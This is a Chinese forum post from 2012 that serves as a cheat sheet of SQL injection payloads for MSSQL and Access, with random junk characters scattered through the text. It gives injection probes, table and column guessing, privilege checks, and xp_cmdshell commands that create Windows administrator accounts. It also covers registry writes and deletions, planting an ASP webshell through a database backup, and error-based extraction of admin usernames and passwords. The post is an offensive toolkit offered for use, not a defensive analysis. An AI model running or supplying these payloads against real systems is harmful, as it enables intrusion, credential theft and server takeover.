找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1948|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
" w  Y# }/ ^7 P3 ~; L;and 1=1
# Q+ B5 s# F/ u( I2 W0 [, };and 1=2 & D, f8 R6 s: x" a

1 m: u4 S$ ?" F. w5 T, V: k2.初步判断是否是mssql
  Y- G$ E" e$ n;and user>0
7 s1 l& _* [4 }% ]
; w* h0 l$ b3 H/ `3.判断数据库系统
0 R2 V5 B. x6 f! y;and (select count(*) from sysobjects)>0 mssql
; l. T$ [! c. h- h;and (select count(*) from msysobjects)>0 access
7 n% T$ A* K. V5 [* o
9 ?/ ~! H. Q4 J3 |1 a4.注入参数是字符 ; V  b' l" Y/ Z' }
'and [查询条件] and ''='
' o( C0 _- X: G& W5 b+ o8 M- A5 R) R9 C6 P) y3 V9 Z) _( R
5.搜索时没过滤参数的
5 V4 ^* S9 _) P  R( n* f7 z4 l5 G'and [查询条件] and '%25'=' 3 `8 {' }: B! H- O3 j. G7 h) K: M0 j
" O2 u8 k# y1 K3 a1 F
6.猜数表名
: [/ c) j$ f/ e3 s3 L;and (select Count(*) from [表名])>0 % U$ f% ?) n5 x
/ d4 C8 I8 Q! }& N, t' c0 w% |- t
7.猜字段
9 I4 H* e/ }% I6 P* N;and (select Count(字段名) from 表名)>0 8 y2 \; E: N1 Y5 @

, M& l% x* A5 H( ^$ M8.猜字段中记录长度
; s8 J1 J9 k" c6 U) N;and (select top 1 len(字段名) from 表名)>0 . I# m. u, R0 w3 a
" _8 g! ]3 s/ \$ m$ U9 p! e
9.(1)猜字段的ascii值(access) ! ]# F4 S9 F# R6 G  Y8 s
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
; [4 ^6 J6 a; ^+ \/ b6 [7 g0 @: Z# }8 M& [' s  \. x! B9 _
(2)猜字段的ascii值(mssql)
* c; e/ s& `: [. l/ C9 ~/ j9 B;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
. g* _! w! {& K) U3 _
& S4 v+ k( h$ d& g7 R1 S10.测试权限结构(mssql) ( x+ U) O! Z2 g. I
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ' ~3 d- o, r$ R
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
9 u7 c, D7 l7 Z0 f3 Y# l( M- L- F8 q;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- , L; X: E: \+ R7 M" N
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--   V% T* Y3 J8 [0 ?  t
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
& ]8 T# P0 d1 t  {! j/ C! U;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
+ E9 l7 H( N: z" R7 ^  j1 x7 L: S;and 1=(select IS_MEMBER('db_owner'));--
# {) l  b9 s, B* [% M
5 s. {: E6 t/ v8 A$ T11.添加mssql和系统的帐户 " a. M1 [6 R( q, J
;exec master.dbo.sp_addlogin username;--
1 L' p/ s, S( k2 ?& e% k. F# e" Q;exec master.dbo.sp_password null,username,password;-- . C3 B2 f8 j4 b7 g. n* l% Y8 |
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0 t' G# O2 T' P( |1 T
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
0 |7 S. q0 T$ z) P. u;exec master.dbo.xp_cmdshell 'net user username password /add';--   Y  R- d8 }% f( S0 X: U
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
: Y+ ?; _% N( |8 D/ B; q$ _
; t8 H" d* h$ b* d, e) v12.(1)遍历目录   P5 ?! |, H, n1 W2 _. M
;create table dirs(paths varchar(100), id int)
, u( t; S# P7 x8 b;insert dirs exec master.dbo.xp_dirtree 'c:\' ' |$ ]& d! x) ?" m
;and (select top 1 paths from dirs)>0
" ~. H9 O$ U+ Y  ~% I- O;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
& }9 N: |; B) U8 `
! F( s  s2 @: U: I5 c(2)遍历目录
4 ^; {6 n, l5 k4 w3 V;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
/ ?! Y2 f7 U" z# G3 t! E' u;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 0 `0 J1 f. W+ R+ H
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 * r0 R3 s8 X2 i. D$ O' j
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
* |8 z8 I. w' h0 h. {;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
  W7 C  q5 s. w' b  O6 @! E: S) `; ?. i6 l2 x! T
13.mssql中的存储过程
. N0 Z3 w3 c. D$ n+ Jxp_regenumvalues 注册表根键, 子键 : l' Q  a. ^8 L$ d/ X
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
+ y) j) d0 K' d1 fxp_regread 根键,子键,键值名 ! Y. s% s0 P7 R; C" B$ W+ e4 o. @
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
+ C+ E/ f) {, Bxp_regwrite 根键,子键, 值名, 值类型, 值
+ H% l  W, F# s: _" K6 F值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
3 ?" u( c- X: G4 c  C- I;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
7 T7 c7 q& o7 r% ~6 vxp_regdeletevalue 根键,子键,值名
' M0 Y" u9 Q0 |8 ]" t/ \exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 2 F0 O3 A/ D. j9 O9 P( @+ e
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
0 {/ W# U9 O1 Q! @. d& s
* [5 y8 e1 A5 e# i14.mssql的backup创建webshell 1 l; t. g: [# ^4 H
use model
: i6 o& w$ P( k6 U+ _create table cmd(str image); 2 s- ]* T8 m8 L
insert into cmd(str) values ('<% Dim oScript %>'); 1 m7 x% h( l- |( j/ `
backup database model to disk='c:\l.asp';
# H+ d( B7 r5 P7 n- M# T# L% ^( s& v4 T" m1 }* J
15.mssql内置函数
  p; g3 l6 ]( k9 Z+ B% K;and (select @@version)>0 获得Windows的版本号
* G, Z' `8 }9 W8 N# |;and user_name()='dbo' 判断当前系统的连接用户是不是sa 7 S3 W7 {% M% z5 T# l8 O) z" H
;and (select user_name())>0 爆当前系统的连接用户 % G) m+ C. \' D) B3 G
;and (select db_name())>0 得到当前连接的数据库 . M0 w: v, ^4 z% n
( t! o, N/ ]' t* [/ ~* i( C
  p7 W" Z9 W" ~  P7 A* L0 i

$ R0 H' p; J' _MSSQL手注暴库- W- R0 E: Q4 e7 s

% n; ?# f8 t& l1 v/ M& s5 S/ @1.暴出当前表名和列名" d( }  C% Z! Z2 O5 [0 o* [2 B- o
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。# p  E$ l0 m( G

. M) Q, u# b1 L' Z( \* K6 y- s  |% Z5 U第一.爆出所有数据库名
4 C# a+ E& U7 W7 X4 M/ ~% K. J0 s利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
7 i) {8 n, u# v第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
" H3 i4 S3 p% f8 {
  D& F% R0 }6 U2 aand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名* D4 R, ^, E. a! k. A
% ^6 ~* W! `2 i* f( J) F& e
- r1 B; T2 @  n+ O4 E9 J/ U6 z: `
第二.爆出指定库中的所有表名
% u2 w, h7 }0 [! X/ ^, c' D得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。- W; g; W4 m5 W6 l
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。4 ~$ c' K+ n: l. W3 ~4 n8 R

+ U- t# X5 U4 [) l4 s  u2 Zand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
* G  v) t( c/ Q/ m4 i0 pand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--+ M/ ]+ r, w* t& {% o$ \
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--! T; ]2 u' [% C5 i, s( x( y
9 D: E- Z; k) [: H/ d8 H2 s# p2 D
4.爆出指定表中的所有列名9 ^5 `9 v) D/ H7 q* Y
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 7 S5 N1 h( Q/ L% G% c2 K( S3 M5 g
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
: K# W4 U. r2 Q  C& m- S" }) i. M: F7 [& T; G
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
- F" f$ J5 f1 o4 g! G
" U% B8 X. f! q- u3 E5 P再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- " B7 X  u* p/ ^* A* w
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
& N3 y1 V8 P) ]! s
: I! p' N& [6 e6 ~& Z" I, Q% R9 s3 X- J. ^) D
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值0 W* t! K3 P( N" \3 h( i! s8 X
7 {  X3 m! r6 K( S% q' k$ r
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
& S3 N# n: e' }' ]' B8 i; M( m" V  |; R; r2 c
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- " `  K$ u6 Z4 O5 l/ i/ d2 g  M; x8 k

7 ?5 B: q( R6 q$ p4 l5 Z: U# x' ]# K3 M2 N" b4 |3 I  Z; N/ a
' h! i0 q* H  w- a- T- R! P
5.读取指定表中的数据8 U9 d3 x0 A- z

) l2 N( [, v7 _0 pand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容   J- P  p6 j- }7 u
7 R% K. B0 l% {9 c. u5 C
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
- I/ @5 {3 b9 D! {# g6 ^9 b2 E! @
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
7 u& Q& N$ Q# j2 }& I0 O! U& Z  ?1 Y
+ q7 H  p  R! \$ f$ m; ^
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
/ X$ I3 B- X( B- L
& S$ v' ]+ Z1 }1 Aand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)5 Q) P9 {2 w( l7 y: S  X
8 `9 K. j2 T' N% U" T
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--8 z% N) X' A" j
; k. ^4 E, W. N" F! }
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
" f; I# d' f" n! K6 q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表